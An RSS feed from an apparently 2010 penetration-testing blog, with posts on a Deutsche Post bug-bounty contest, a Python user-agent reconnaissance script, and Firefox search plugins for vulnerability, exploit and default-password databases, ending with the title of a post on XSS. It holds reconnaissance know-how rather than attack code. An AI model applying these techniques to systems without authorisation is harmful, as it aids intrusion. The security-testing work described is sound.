<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Cатсн²² (in)sесuяitу &#187; Penetration Test</title>
	<atom:link href="http://blog.c22.cc/category/penetration-test/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.c22.cc</link>
	<description>Because we&#039;re damned if we do, and we&#039;re damned if we don&#039;t!</description>
	<lastBuildDate>Tue, 31 Aug 2010 15:42:21 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='blog.c22.cc' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://1.gravatar.com/blavatar/1b6c05a022094e3a7342e6b645c9cfce?s=96&#038;d=http://s2.wp.com/i/buttonw-com.png</url>
		<title>Cатсн²² (in)sесuяitу &#187; Penetration Test</title>
		<link>http://blog.c22.cc</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://blog.c22.cc/osd.xml" title="Cатсн²² (in)sесuяitу" />
	<atom:link rel='hub' href='http://blog.c22.cc/?pushpress=hub'/>
		<item>
		<title>Deutsche Post &#124; Security Cup</title>
		<link>http://blog.c22.cc/2010/08/27/deutsche-post-security-cup/</link>
		<comments>http://blog.c22.cc/2010/08/27/deutsche-post-security-cup/#comments</comments>
		<pubDate>Fri, 27 Aug 2010 10:45:28 +0000</pubDate>
		<dc:creator>ChrisJohnRiley</dc:creator>
				<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[bugs]]></category>
		<category><![CDATA[deutsche post]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[penetration testing]]></category>
		<category><![CDATA[security cup]]></category>
		<category><![CDATA[testing]]></category>

		<guid isPermaLink="false">http://blog.c22.cc/?p=1896</guid>
		<description><![CDATA[A friend of mine (thanks Wim) posted this on Twitter. Normally if Deutsche Post  announce the release of a new service, it&#8217;s nothing to write home about. Certainly when it comes to security. However Deutsche Post have come up with &#8230; <a href="http://blog.c22.cc/2010/08/27/deutsche-post-security-cup/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=1896&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.deutschepost.de"><img class="alignright size-full wp-image-1897" style="margin:5px;" title="logo_deutschepost" src="http://c22blog.files.wordpress.com/2010/08/logo_deutschepost.gif?w=153&#038;h=34" alt="" width="153" height="34" /></a>A friend of mine (<em>thanks <a title="Deutsche Post &gt; Security Cup" href="http://www.deutschepost.de/dpag?tab=1&amp;skin=hi&amp;check=yes&amp;lang=de_EN&amp;xmlFile=link1022792_1022790" target="_blank">Wim</a></em>) posted this on Twitter. Normally if Deutsche Post  announce the release of a new service, it&#8217;s nothing to write home about. Certainly when it comes to security. However Deutsche Post have come up with an interesting competition in the build-up to the release of their E-Postbrief service.</p>
<p>Working with some well-respected members of the Security Community, they&#8217;ve come up with the Security Cup, and are offering some nice prizes for people/teams who find vulnerabilities in their web application or infrastructure.</p>
<p>As you can imagine the scope is limited, no client-side attacks for example, but with the prizes on offer (<em>Major bugs are awarded with EUR 5,000,  normal bugs are awarded with EUR 1,000</em>) it looks like it&#8217;ll draw a crowd.</p>
<p><a href="http://www.deutschepost.de/dpag?tab=1&amp;skin=hi&amp;check=yes&amp;lang=de_EN&amp;xmlFile=link1022792_1022790"><img class="alignleft size-full wp-image-1903" title="stoerer_application_185_blk" src="http://c22blog.files.wordpress.com/2010/08/stoerer_application_185_blk.png?w=171&#038;h=72" alt="" width="171" height="72" /></a>If you want to find out more information, head over to the <a title="Deutsche Post &gt; Security Cup" href="http://www.deutschepost.de/dpag?tab=1&amp;skin=hi&amp;check=yes&amp;lang=de_EN&amp;xmlFile=link1022792_1022790" target="_blank">Deutsche post Security Cup</a> web-page and sign-up (<em>via email</em>). The sign-up phase runs through September, so there&#8217;s plenty of time!</p>
<br />Filed under: <a href='http://blog.c22.cc/category/penetration-test/'>Penetration Test</a>, <a href='http://blog.c22.cc/category/security/'>Security</a> Tagged: <a href='http://blog.c22.cc/tag/bugs/'>bugs</a>, <a href='http://blog.c22.cc/tag/deutsche-post/'>deutsche post</a>, <a href='http://blog.c22.cc/tag/hacking/'>hacking</a>, <a href='http://blog.c22.cc/tag/penetration-testing/'>penetration testing</a>, <a href='http://blog.c22.cc/tag/security-cup/'>security cup</a>, <a href='http://blog.c22.cc/tag/testing/'>testing</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/c22blog.wordpress.com/1896/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/c22blog.wordpress.com/1896/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/c22blog.wordpress.com/1896/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/c22blog.wordpress.com/1896/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/c22blog.wordpress.com/1896/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/c22blog.wordpress.com/1896/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/c22blog.wordpress.com/1896/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/c22blog.wordpress.com/1896/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/c22blog.wordpress.com/1896/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/c22blog.wordpress.com/1896/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/c22blog.wordpress.com/1896/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/c22blog.wordpress.com/1896/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/c22blog.wordpress.com/1896/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/c22blog.wordpress.com/1896/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=1896&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.c22.cc/2010/08/27/deutsche-post-security-cup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">ChrisJohnRiley</media:title>
		</media:content>

		<media:content url="http://c22blog.files.wordpress.com/2010/08/logo_deutschepost.gif" medium="image">
			<media:title type="html">logo_deutschepost</media:title>
		</media:content>

		<media:content url="http://c22blog.files.wordpress.com/2010/08/stoerer_application_185_blk.png" medium="image">
			<media:title type="html">stoerer_application_185_blk</media:title>
		</media:content>
	</item>
		<item>
		<title>UATester Alpha</title>
		<link>http://blog.c22.cc/2010/06/20/uatester-alpha/</link>
		<comments>http://blog.c22.cc/2010/06/20/uatester-alpha/#comments</comments>
		<pubDate>Sun, 20 Jun 2010 13:45:11 +0000</pubDate>
		<dc:creator>ChrisJohnRiley</dc:creator>
				<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[penetration testing]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[tool]]></category>
		<category><![CDATA[webapp]]></category>
		<category><![CDATA[user-agent]]></category>
		<category><![CDATA[testing]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[coverage]]></category>

		<guid isPermaLink="false">http://blog.c22.cc/?p=1658</guid>
		<description><![CDATA[Well I&#8217;ve held out long enough tweaking and playing, it&#8217;s time to hang my head in shame and release my UA-Tester Script for the world to laugh at and play with. A few things before I run through what the &#8230; <a href="http://blog.c22.cc/2010/06/20/uatester-alpha/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=1658&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Well I&#8217;ve held out long enough tweaking and playing, it&#8217;s time to hang my head in shame and release my UA-Tester Script for the world to laugh at and play with.</p>
<p>A few things before I run through what the tool does and why I thought it was worth writing.</p>
<ul>
<li>This is only my second attempt at Python scripting, so don&#8217;t expect quality smooth code (<em>yet</em>)</li>
<li>It&#8217;s an Alpha release&#8230;. i.e. it will probably suck and never work.</li>
<li>I wrote this because I want to improve my Python fu.
<ul>
<li>I&#8217;d love constructive criticism</li>
<li>Hints and requests are always well received&#8230; but may be ignored <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
<li>If you hate it, fail to see the point in it, or are just generally negative &#8211;&gt; rm UAtester.py</li>
</ul>
</li>
</ul>
<p>So with that out of the way, what is UA-Tester?</p>
<p>UA-Tester was something I&#8217;ve been thinking of for a while due to the increase in mobile technology. A number of high-profile sites (<em>twitter, facebook, google, and even Microsoft</em>) offer mobile versions of their sites and functionality. Normally this wouldn&#8217;t be something you&#8217;d care about, but as a penetration tester or security researcher, you need to make sure you&#8217;re covering all the bases and getting full coverage when looking at web applications. I&#8217;ll give some examples in the following sections that should help clarify things I hope.</p>
<p><a href="http://c22blog.files.wordpress.com/2010/06/screen-shot-2010-06-20-at-2-44-49-pm.png"><img class="alignleft size-medium wp-image-1665" style="margin:6px;" title="UA Tester" src="http://c22blog.files.wordpress.com/2010/06/screen-shot-2010-06-20-at-2-44-49-pm.png?w=300&#038;h=172" alt="" width="300" height="172" /></a>As you can see in the screenshot, UA-Tester will begin by connecting to the URL provided to it through the command line and returning some information about what response it receives. It does this initial connection using a standard (<em>non-specific</em>) user-agent string (<em>in this case Mozilla/5.0</em>). As you can see in the screenshot, the tool returns the final URL (<em>in this case different from the one entered through the command line</em>), as well as the initial response code (<em>302 Found</em>) and information such as Content-Type, Server header (<em>if present</em>) and the length/MD5 of the data portion of the response. I&#8217;m currently looking to expand this to also check and return headers such as X-XSS-Protection, cookie names and others that might be useful (<em>cache, etc&#8230;</em>).</p>
<p>The tool will then re-run the same request 3 times to ensure that the response are stable (<em>to prevent false-positives in the event of advertising, rotating content, or general connection issues</em>). Without stable responses, it&#8217;s hard to tell if the site is responding differently depending on the user-agent string used.</p>
<p>With the foundations completed, the tool will then check the URL provided using either a list provided by the user (<em>-u at the command line, example .: -u ./useragents.ls</em>t) or a collection of default user-agent strings (<em>and by default I mean, a random and interesting selection I&#8217;ve been using for testing</em>) if no filename is given. It is also possible to pass the -s option and provide a single user-agent string to test (example .: <em>-s googlebot/2.1</em>).</p>
<p>A connection is made using each of the supplied/default user-agent strings in turn, and the differences between the original reference connection, and the new user-agent string are returned to the user. It is also possible to use verbose mode to see the entire dataset returned for use in manual data gathering or correlation.</p>
<p><a href="http://c22blog.files.wordpress.com/2010/06/screen-shot-2010-06-20-at-11-47-34-am.png"><img class="alignright size-medium wp-image-1666" style="margin:6px;" title="UA Tester 2" src="http://c22blog.files.wordpress.com/2010/06/screen-shot-2010-06-20-at-11-47-34-am.png?w=300&#038;h=118" alt="" width="300" height="118" /></a>The results of this are then returned to the user showing the User-Agent string being checked and any responses that differ from the reference connection (the one used to check the stability of the connection).</p>
<p>As you can see by the screenshot, using the user-agent string &#8220;jBrowser-WAP&#8221; the remote server (<em>in this case www.microsoft.com</em>) responds with a different final URL (<em>forwarding the user to a mobile version of the site</em>) and also shows that the version of IIS in use is now 7.0 instead of the originally reported IIS 7.5. This could offer a number of advantages for penetration testers as you can imagine. Not only are mobile versions of web applications commonly less secure (<em>missing protections against things like click-jacking for example</em>), but as can be seen here, may also offer a completely new Infrastructure that could be vulnerable when the main site isn&#8217;t.</p>
<p>Now, what this script does is nothing new. I&#8217;m sure most readers here are already aware that this can be achieved through the use of something like Burp Intruder. Hope fully though, you&#8217;ll find this tool at least mildly useful for initial checks and scoping. I know it&#8217;s something I&#8217;ll be using to make sure I&#8217;m covering 100% of the application and functionality and not just limiting myself to the homepage as seen from Internet Explorer or Firefox.</p>
<p>./UATester.py -h</p>
<p style="padding-left:30px;"><span style="color:#0000ff;">This tool is designed to automatically check a given URL using a list of standard</span></p>
<p style="padding-left:30px;"><span style="color:#0000ff;">and non-standard User Agent strings provided by the user (1 per line).</span></p>
<p style="padding-left:30px;"><span style="color:#0000ff;"> </span></p>
<p style="padding-left:30px;"><span style="color:#0000ff;">The results of these checks are then reported to the user for further manual</span></p>
<p style="padding-left:30px;"><span style="color:#0000ff;">analysis where required. Gathered data includes response codes, resulting URL in</span></p>
<p style="padding-left:30px;"><span style="color:#0000ff;">the case of a 30x response, MD5 and length of response body, and select Server headers</span></p>
<p style="padding-left:30px;"><span style="color:#0000ff;"><br />
</span></p>
<p style="padding-left:30px;"><span style="color:#0000ff;"> Usage .:</span></p>
<p style="padding-left:30px;"><span style="color:#0000ff;">-u / &#8211;url Complete URL</span></p>
<p style="padding-left:30px;"><span style="color:#0000ff;">-f / &#8211;file &lt;Path to User Agent file&gt; / If no file is provided, defaults will be used</span></p>
<p style="padding-left:30px;"><span style="color:#0000ff;">-s / &#8211;single provide a single user-agent string (may need to be contained in quotes in specific circumstances)</span></p>
<p style="padding-left:30px;"><span style="color:#0000ff;">-v / &#8211;verbose results</span></p>
<p style="padding-left:30px;"><span style="color:#0000ff;">&#8211;debug See debug messages</span></p>
<p style="padding-left:30px;"><span style="color:#0000ff;"><br />
</span></p>
<p style="padding-left:30px;"><span style="color:#0000ff;">Example .:</span></p>
<p style="padding-left:30px;"><span style="color:#0000ff;"> ./UATester.py -u www.example.com -f ./useragentlist.txt -v</span></p>
<p style="padding-left:30px;"><span style="color:#0000ff;">./UATester.py -u https://www.yourserver.com</span></p>
<p style="padding-left:30px;"><span style="color:#0000ff;">./UATester.py -u http://www.defaultserver.com -v &#8211;debug</span></p>
<p style="padding-left:30px;"><span style="color:#0000ff;">./UATester.py -u https://www.google.com -s &#8220;MySpecialUserAgent&#8221;</span></p>
<p><span style="color:#888888;">I&#8217;d like to thank all the Alpha testers who helped with the fine tuning and comments so far&#8230; <a title="@Digininja" href="http://twitter.com/digininja" target="_blank">@Digininja</a>, <a title="@Markofu" href="http://twitter.com/markofu" target="_blank">@Markofu</a>, <a title="@daleapearson" href="http://twitter.com/daleapearson" target="_blank">@DaleaPearson</a>, <a title="@acanthephyra" href="http://twitter.com/acanthephyra" target="_blank">@Acanthephyra</a>, and others. Much appreciated!</span></p>
<p><strong>Todo</strong>:</p>
<ul>
<li>Sort the output&#8230; not happy with the current way data is returned to the user (<em>confusing, too much data for a table</em>)</li>
<li>Output to a logfile for offline correlation (<em>XML ?</em>)</li>
<li>Add proxy support</li>
<li>Check and return information on additional headers, cookies and cache directives</li>
<li>Possibly work on integration with W3AF (<em>Already Python based</em>)</li>
</ul>
<p><strong>Links</strong>:</p>
<ul>
<li>UATester &#8211;&gt; <a title="https://sites.google.com/a/c22.cc/storage/uatester" href="https://sites.google.com/a/c22.cc/storage/uatester" target="_blank">Project Download</a></li>
<li>C22.CC <a title="http://blog.c22.cc/toolsscripts/" href="http://blog.c22.cc/toolsscripts/" target="_self">Tools/Scripts</a></li>
</ul>
<br />Filed under: <a href='http://blog.c22.cc/category/penetration-test/'>Penetration Test</a>, <a href='http://blog.c22.cc/category/security/'>Security</a> Tagged: <a href='http://blog.c22.cc/tag/coverage/'>coverage</a>, <a href='http://blog.c22.cc/tag/penetration-testing/'>penetration testing</a>, <a href='http://blog.c22.cc/tag/python/'>python</a>, <a href='http://blog.c22.cc/tag/script/'>script</a>, <a href='http://blog.c22.cc/tag/testing/'>testing</a>, <a href='http://blog.c22.cc/tag/tool/'>tool</a>, <a href='http://blog.c22.cc/tag/user-agent/'>user-agent</a>, <a href='http://blog.c22.cc/tag/webapp/'>webapp</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/c22blog.wordpress.com/1658/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/c22blog.wordpress.com/1658/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/c22blog.wordpress.com/1658/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/c22blog.wordpress.com/1658/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/c22blog.wordpress.com/1658/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/c22blog.wordpress.com/1658/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/c22blog.wordpress.com/1658/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/c22blog.wordpress.com/1658/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/c22blog.wordpress.com/1658/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/c22blog.wordpress.com/1658/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/c22blog.wordpress.com/1658/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/c22blog.wordpress.com/1658/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/c22blog.wordpress.com/1658/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/c22blog.wordpress.com/1658/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=1658&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.c22.cc/2010/06/20/uatester-alpha/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">ChrisJohnRiley</media:title>
		</media:content>

		<media:content url="http://c22blog.files.wordpress.com/2010/06/screen-shot-2010-06-20-at-2-44-49-pm.png?w=300" medium="image">
			<media:title type="html">UA Tester</media:title>
		</media:content>

		<media:content url="http://c22blog.files.wordpress.com/2010/06/screen-shot-2010-06-20-at-11-47-34-am.png?w=300" medium="image">
			<media:title type="html">UA Tester 2</media:title>
		</media:content>
	</item>
		<item>
		<title>Firefox search add-ons for Security-Nerds™</title>
		<link>http://blog.c22.cc/2010/03/19/firefox-search-add-ons-for-security-nerds%e2%84%a2/</link>
		<comments>http://blog.c22.cc/2010/03/19/firefox-search-add-ons-for-security-nerds%e2%84%a2/#comments</comments>
		<pubDate>Fri, 19 Mar 2010 13:13:00 +0000</pubDate>
		<dc:creator>ChrisJohnRiley</dc:creator>
				<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[add-ons]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[search]]></category>

		<guid isPermaLink="false">http://blog.c22.cc/?p=1299</guid>
		<description><![CDATA[After looking over the slidedeck from Michael &#8220;theprez98&#8243; Schearer&#8217;s Blackhat Webcast, I decided (like a lot of people I&#8217;m sure) to have a quick look at what Firefox add-ons were available to make penetration testing using the browser a little easier. My portable Firefox edition &#8230; <a href="http://blog.c22.cc/2010/03/19/firefox-search-add-ons-for-security-nerds%e2%84%a2/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=1299&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>After looking over the <a title="Pen-Testing-the-Web-with-Firefox" href="http://www.scribd.com/doc/28590479/Black-Hat-Webcast-Pen-Testing-the-Web-with-Firefox" target="_blank">slidedeck</a> from Michael &#8220;theprez98&#8243; Schearer&#8217;s Blackhat Webcast, I decided (like a lot of people I&#8217;m sure) to have a quick look at what Firefox add-ons were available to make penetration testing using the browser a little easier. My portable Firefox edition already has a number of extensions installed for the usual stuff. Things like <a title="FoxyProxy" href="http://foxyproxy.mozdev.org/" target="_blank">FoxyProxy</a>, <a title="Web Developer" href="http://chrispederick.com/work/web-developer/" target="_blank">Web Developer Toolbar</a>, <a title="FireBug" href="http://getfirebug.com/" target="_blank">Fire/FlashBug</a> and the SQL Inject Me, Access Me and XSS Me tools from <a title="Security Compass" href="http://www.securitycompass.com" target="_blank">Security Compass</a> have been installed for a long time. They come in useful for specific tasks, even when I&#8217;m not doing Web app testing. One thing I&#8217;d not really looked at though was the possibility of adding to the search providers list <em>(found in the upper right-hand corner)</em>.     </p>
<div id="attachment_1300" class="wp-caption aligncenter" style="width: 326px"><img class="size-full wp-image-1300  " style="margin:5px;" title="searchbar" src="http://c22blog.files.wordpress.com/2010/03/searchbar.png?w=316&#038;h=107" alt="" width="316" height="107" /><p class="wp-caption-text">Firefox Search</p></div>
<p>By default the drop down list comes with your typical default options <em>(Google, Yahoo, Wikipedia and a few others).</em> These all nice an everything, but for what we do, they&#8217;re not always the sources we need. After all, if you know you want to search for a CVE number, the why google for it. Best to go straight to the source, and pull up the info you need quickly and efficiently. So with that in mind, here are a few nice additions to the search list in Firefox.      </p>
<h3><img class="icon alignleft" src="https://addons.mozilla.org/en-US/firefox/images/addon_icon/14598/1254752393" alt="" width="42" height="12" /></h3>
<h3>CVE dictionary search plugin </h3>
<ul>
<li>As the name suggests, this plugin allows you to search on keywords or CVE numbers and receive the results directly from Mitre.</li>
<li>The search simply sends a request to <a href="http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword">http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword</a>= with the search value set at the  keyword parameter</li>
<li>
<p class="addon"><a href="https://addons.mozilla.org/en-US/firefox/addon/14598"><strong>https://addons.mozilla.org/en-US/firefox/addon/14598</strong></a>          </p>
</li>
</ul>
<h3 class="addon"><img class="icon alignnone" src="https://addons.mozilla.org/en-US/firefox/images/addon_icon/45607/1258395299" alt="" width="29" height="30" /> Open Source Vulnerability Database Search</h3>
<ul>
<li>For those that prefer to use OSVDB over CVE, there&#8217;s also an add-on that searches the OSVDB site</li>
<li><a href="https://addons.mozilla.org/en-US/firefox/addon/45607"><strong>https://addons.mozilla.org/en-US/firefox/addon/45607</strong></a></li>
</ul>
<h2> <img class="icon alignnone" src="https://addons.mozilla.org/en-US/firefox/images/addon_icon/14600/1254356672" alt="" width="40" height="10" /> OVAL Repository</h2>
<ul>
<li>OVAL <em>(Open Vulnerability and Assessment Langauge)</em> - The Standard for determining and Configuration Issues on Computer Systems</li>
<li><strong><a href="https://addons.mozilla.org/en-US/firefox/addon/14600">https://addons.mozilla.org/en-US/firefox/addon/14600</a></strong></li>
</ul>
<h2><img class="icon" src="https://addons.mozilla.org/en-US/firefox/images/addon_icon/46818/1258488926" alt="" width="29" height="25" /> Packet Storm</h2>
<ul>
<li>This plugin lets you search on Packet Storm &#8211; <a href="http://www.packetstormsecurity.org">www.packetstormsecurity.org</a> &#8211; database.</li>
<li>Packet Storm offers an abundant resource of up-to-date and historical security tools, exploits, and advisories.</li>
<li><a href="https://addons.mozilla.org/en-US/firefox/addon/46818"><strong>https://addons.mozilla.org/en-US/firefox/addon/46818</strong></a><strong> </strong></li>
</ul>
<h2> <img class="icon" src="https://addons.mozilla.org/en-US/firefox/images/addon_icon/14780/1255483297" alt="" width="22" height="19" /> RFC Search Plugin</h2>
<ul>
<li>We all love RFCs don’t we! Yes, yes we do <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</li>
<li><strong><span style="text-decoration:underline;"><a href="https://addons.mozilla.org/en-US/firefox/addon/14780">https://addons.mozilla.org/en-US/firefox/addon/14780</a></span></strong></li>
</ul>
<h2 class="addon"><img class="icon" src="https://addons.mozilla.org/en-US/firefox/images/addon_icon/50414/1260567123" alt="" width="49" height="12" /> Pcapr  search</h2>
<ul>
<li>This plugin lets you search on Pcapr &#8211; www.pcapr.net &#8211; archive</li>
<li>Need an example packet capture? PCAPr is the place to find it</li>
<li><strong><span style="text-decoration:underline;"><a href="https://addons.mozilla.org/en-US/firefox/addon/50414">https://addons.mozilla.org/en-US/firefox/addon/50414</a></span></strong></li>
</ul>
<h2> <img class="icon" src="https://addons.mozilla.org/en-US/firefox/images/addon_icon/50241/1264044044" alt="" width="52" height="22" /> Exploit DB</h2>
<ul>
<li>This plugin lets you search on Offsec Exploit archive &#8211; <a href="http://exploit-db.com">http://exploit-db.com</a>. Offsec Exploit archive, also known as Explo.it, is the replacement of Milw0rm archive.</li>
<li>Everybody needs exploits after all!</li>
<li><strong><span style="text-decoration:underline;"><a href="https://addons.mozilla.org/en-US/firefox/addon/50241">https://addons.mozilla.org/en-US/firefox/addon/50241</a></span></strong></li>
</ul>
<h2><a title="Learn more about this add-on" href="https://addons.mozilla.org/en-US/firefox/addon/58786"><img class="icon" title="Preview Image of Default Passwords - CIRT.net" src="https://addons.mozilla.org/en-US/firefox/images/addon_icon/58786/1263179524" alt="Preview Image of Default Passwords - CIRT.net" width="22" height="26" /></a> CIRT Default Password-DB</h2>
<ul>
<li>Search CIRT.net default password database</li>
<li><strong><span style="text-decoration:underline;"><a href="https://addons.mozilla.org/en-US/firefox/addon/58786">https://addons.mozilla.org/en-US/firefox/addon/58786</a></span></strong></li>
</ul>
<p>This isn&#8217;t a complete list by any means, but hopefully it&#8217;s a good start. I&#8217;ve not had a chance to run these through a transparent proxy to see the exact information being sent/received, so our mileage may vary. Use at your own risk.</p>
<br />Filed under: <a href='http://blog.c22.cc/category/penetration-test/'>Penetration Test</a>, <a href='http://blog.c22.cc/category/security/'>Security</a> Tagged: <a href='http://blog.c22.cc/tag/add-ons/'>add-ons</a>, <a href='http://blog.c22.cc/tag/firefox/'>firefox</a>, <a href='http://blog.c22.cc/tag/search/'>search</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/c22blog.wordpress.com/1299/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/c22blog.wordpress.com/1299/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/c22blog.wordpress.com/1299/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/c22blog.wordpress.com/1299/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/c22blog.wordpress.com/1299/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/c22blog.wordpress.com/1299/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/c22blog.wordpress.com/1299/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/c22blog.wordpress.com/1299/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/c22blog.wordpress.com/1299/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/c22blog.wordpress.com/1299/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/c22blog.wordpress.com/1299/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/c22blog.wordpress.com/1299/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/c22blog.wordpress.com/1299/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/c22blog.wordpress.com/1299/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.c22.cc&amp;blog=1599597&amp;post=1299&amp;subd=c22blog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.c22.cc/2010/03/19/firefox-search-add-ons-for-security-nerds%e2%84%a2/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">ChrisJohnRiley</media:title>
		</media:content>

		<media:content url="http://c22blog.files.wordpress.com/2010/03/searchbar.png" medium="image">
			<media:title type="html">searchbar</media:title>
		</media:content>

		<media:content url="//addons.mozilla.org/en-US/firefox/images/addon_icon/14598/1254752393" medium="image" />

		<media:content url="//addons.mozilla.org/en-US/firefox/images/addon_icon/45607/1258395299" medium="image" />

		<media:content url="//addons.mozilla.org/en-US/firefox/images/addon_icon/14600/1254356672" medium="image" />

		<media:content url="//addons.mozilla.org/en-US/firefox/images/addon_icon/46818/1258488926" medium="image" />

		<media:content url="//addons.mozilla.org/en-US/firefox/images/addon_icon/14780/1255483297" medium="image" />

		<media:content url="//addons.mozilla.org/en-US/firefox/images/addon_icon/50414/1260567123" medium="image" />

		<media:content url="//addons.mozilla.org/en-US/firefox/images/addon_icon/50241/1264044044" medium="image" />

		<media:content url="//addons.mozilla.org/en-US/firefox/images/addon_icon/58786/1263179524" medium="image">
			<media:title type="html">Preview Image of Default Passwords - CIRT.net</media:title>
		</media:content>
	</item>
		<item>
		<title>alert(&#8216;xss&#8217;) &#8211; The slow death of XSS</title>
		<link>http://blog.c22.cc/2010/03/16/alertxss-the-slow-death-of-xss/</link>
		<comments>http://blog.c22.cc/2010/03/16/alertxss-the-slow-death-of-xss/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 21:34:37 +0000</pubDate>
		<dc:creator>ChrisJohnRiley</dc:creator>
				<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[password stealing]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.c22.cc/?p=1282</guid>
